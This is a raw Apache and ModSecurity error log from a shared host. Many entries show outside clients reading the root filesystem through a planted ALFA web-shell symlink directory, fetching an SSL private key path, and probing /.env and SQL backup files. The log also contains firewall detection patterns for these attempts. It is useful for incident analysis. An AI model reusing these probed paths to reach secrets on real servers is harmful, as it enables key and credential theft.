[Sat Oct 24 06:04:06.180534 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.223.134.5:31612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:04:10.175501 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.236.135.14:41772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:04:14.168947 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.225.24.180:59612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:04:18.264635 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.210:22540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/slabs_cpu_partial
[Sat Oct 24 06:04:34.202137 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.206.193.60:29533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:04:38.172470 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 98.82.66.172:24243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/8250_mid/unbind
[Sat Oct 24 06:04:58.887788 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 85.208.96.202:41852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/object_size
[Sat Oct 24 06:05:02.231739 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.217.171.106:7172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:05:06.164841 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 98.82.38.120:10444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:05:13.768398 2026] [security2:error] [pid 2607843:tid 2607843] [client 43.159.145.149:57670] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atyC2QSwRuPA-FjBma7H0QAAAAI"]
[Sat Oct 24 06:05:13.770266 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 43.159.145.149:57670] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 06:05:14.182998 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.235.125.129:47965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:05:22.168375 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.85.109.140:44206] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:05:30.186026 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.80.185.200:30876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:05:33.179770 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.204:17962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/shrink
[Sat Oct 24 06:05:44.880657 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.203:30164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/reclaim_account
[Sat Oct 24 06:05:46.190828 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 54.157.84.74:56157] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/memory2/subsystem/uevent
[Sat Oct 24 06:05:50.175704 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 184.73.167.217:40759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:05:54.366861 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.205.163.103:48581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:10.223769 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.204.37.237:25226] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:18.181806 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.87.62.248:39110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:22.163705 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 34.227.156.153:49107] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/remove_id
[Sat Oct 24 06:06:26.195246 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 18.235.158.19:36560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:34.163393 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.22.64.232:28178] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:38.356966 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.239.197.197:15416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:50.183596 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 35.174.253.85:45564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:06:52.382518 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.3:61342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8/objects_partial
[Sat Oct 24 06:06:58.194792 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 100.29.155.89:43504] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:07:04.401074 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 185.191.236.38:64398] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:07:10.263417 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.28.57.133:31860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:07:14.175374 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 35.173.18.61:42572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/button/bind
[Sat Oct 24 06:07:18.158803 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 18.205.91.101:55520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:07:22.905480 2026] [core:crit] [pid 2607843:tid 2607843] (13)Permission denied: [client 139.162.172.20:11618] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:07:27.078399 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.193:26874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/type
[Sat Oct 24 06:07:30.163410 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.217.177.142:22725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:07:34.319182 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 100.24.149.244:45735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:07:35.671983 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 185.191.171.3:41542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__ex_table
[Sat Oct 24 06:07:42.183758 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.71.218.25:11933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:07:50.169385 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.203.111.15:22482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/xhci_hcd/bind
[Sat Oct 24 06:08:02.224274 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.197.28.78:17816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:08:15.082591 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.211:45764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/poison
[Sat Oct 24 06:08:22.311392 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.217.177.142:1570] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:08:26.227337 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.238.45.183:1030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:08:36.075909 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.196:41230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/objects
[Sat Oct 24 06:08:38.269627 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.197.178.107:46250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:08:42.187024 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 44.206.93.215:60191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/uevent
[Sat Oct 24 06:08:46.208136 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 54.152.163.42:43963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/rescan
[Sat Oct 24 06:08:50.168655 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 54.159.18.27:3716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xen-platform-pci/remove_id
[Sat Oct 24 06:08:59.119697 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.10:31582] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a7c87_8b97d_aac42c436397c29a0398f41c5c865658.key"] [unique_id "atyDu7X1SaR9hxmEXognsAAAAAo"]
[Sat Oct 24 06:08:59.120073 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.10:31582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a7c87_8b97d_aac42c436397c29a0398f41c5c865658.key"] [unique_id "atyDu7X1SaR9hxmEXognsAAAAAo"]
[Sat Oct 24 06:08:59.120399 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.10:31582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a7c87_8b97d_aac42c436397c29a0398f41c5c865658.key"] [unique_id "atyDu7X1SaR9hxmEXognsAAAAAo"]
[Sat Oct 24 06:09:06.169020 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.215.61.66:53014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:14.152871 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.208.11.93:59264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:18.428889 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.4.76.156:52847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:22.351265 2026] [ssl:error] [pid 2608810:tid 2608810] (5)Input/output error: [client 34.196.6.199:58161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:30.230943 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.230.224.6:54704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:34.361818 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.2.191.202:10730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:34.797758 2026] [security2:error] [pid 2607845:tid 2607845] [client 185.191.171.14:59120] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ninja/php53/upgrade.php"] [unique_id "atyD3kZmsT_-xVq3Bbq4cwAAAAU"]
[Sat Oct 24 06:09:34.797798 2026] [security2:error] [pid 2607845:tid 2607845] [client 185.191.171.14:59120] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ninja/php53/upgrade.php"] [unique_id "atyD3kZmsT_-xVq3Bbq4cwAAAAU"]
[Sat Oct 24 06:09:46.185591 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.70.138.176:17766] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:09:58.173861 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.212.145.46:16997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:10:02.367493 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 44.217.177.142:9552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/usb-conn-gpio/bind
[Sat Oct 24 06:10:06.158156 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 3.94.156.104:20521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4_wc
[Sat Oct 24 06:10:12.654435 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 71.6.242.66:25246] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:10:14.186306 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.156.124.2:38278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:10:18.167609 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.212.145.46:15518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:10:30.870751 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 185.191.171.13:29724] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:10:34.150660 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 107.20.224.184:24046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:10:38.276546 2026] [ssl:error] [pid 2608798:tid 2608798] (5)Input/output error: [client 34.234.197.175:3692] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:10:46.155846 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.164.106.236:45674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:02.343271 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 184.73.167.217:10321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:18.250758 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.179.27:60826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:22.152251 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.232.82.72:59941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:30.009273 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.196:32754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/partial
[Sat Oct 24 06:11:30.409982 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.214.238.178:43467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:31.911088 2026] [core:crit] [pid 2607243:tid 2607243] (13)Permission denied: [client 71.6.235.107:43070] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:11:32.926031 2026] [security2:error] [pid 2608811:tid 2608811] [client 71.6.235.107:43078] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp3.sherwinpinturas.com"] [uri "/"] [unique_id "atyEVA6rpxYYtVdDcXCnEAAAABg"]
[Sat Oct 24 06:11:32.926069 2026] [security2:error] [pid 2608811:tid 2608811] [client 71.6.235.107:43078] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp3.sherwinpinturas.com"] [uri "/"] [unique_id "atyEVA6rpxYYtVdDcXCnEAAAABg"]
[Sat Oct 24 06:11:38.421580 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 23.23.180.225:59037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/ec/uevent
[Sat Oct 24 06:11:50.188342 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 35.169.119.108:40907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:54.156757 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.205.192.249:64866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:11:54.768697 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.9:34928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/free_calls
[Sat Oct 24 06:11:58.147484 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 23.21.227.240:31281] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:12:06.196756 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 35.172.125.172:13398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/ttyS0/line
[Sat Oct 24 06:12:08.631125 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 185.191.171.15:58908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/reclaim_account
[Sat Oct 24 06:12:14.258901 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.22.64.232:56397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:12:18.174698 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.167.32.123:62568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:12:22.154885 2026] [ssl:error] [pid 2608731:tid 2608731] (5)Input/output error: [client 34.234.200.207:44540] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:12:30.155362 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 34.227.156.153:16668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/event0/subsystem/input1/device/subsystem/drivers/atkbd/serio0/driver/uevent
[Sat Oct 24 06:12:30.954103 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "atyEjnUcfBNBYE9xHAI_wgAAAAA"]
[Sat Oct 24 06:12:30.954374 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "atyEjnUcfBNBYE9xHAI_wgAAAAA"]
[Sat Oct 24 06:12:30.955284 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyEjnUcfBNBYE9xHAI_wgAAAAA"]
[Sat Oct 24 06:12:31.538186 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "atyEj3UcfBNBYE9xHAI_wwAAAAA"]
[Sat Oct 24 06:12:31.538612 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "atyEj3UcfBNBYE9xHAI_wwAAAAA"]
[Sat Oct 24 06:12:31.539490 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyEj3UcfBNBYE9xHAI_wwAAAAA"]
[Sat Oct 24 06:12:32.102879 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "atyEkHUcfBNBYE9xHAI_xAAAAAA"]
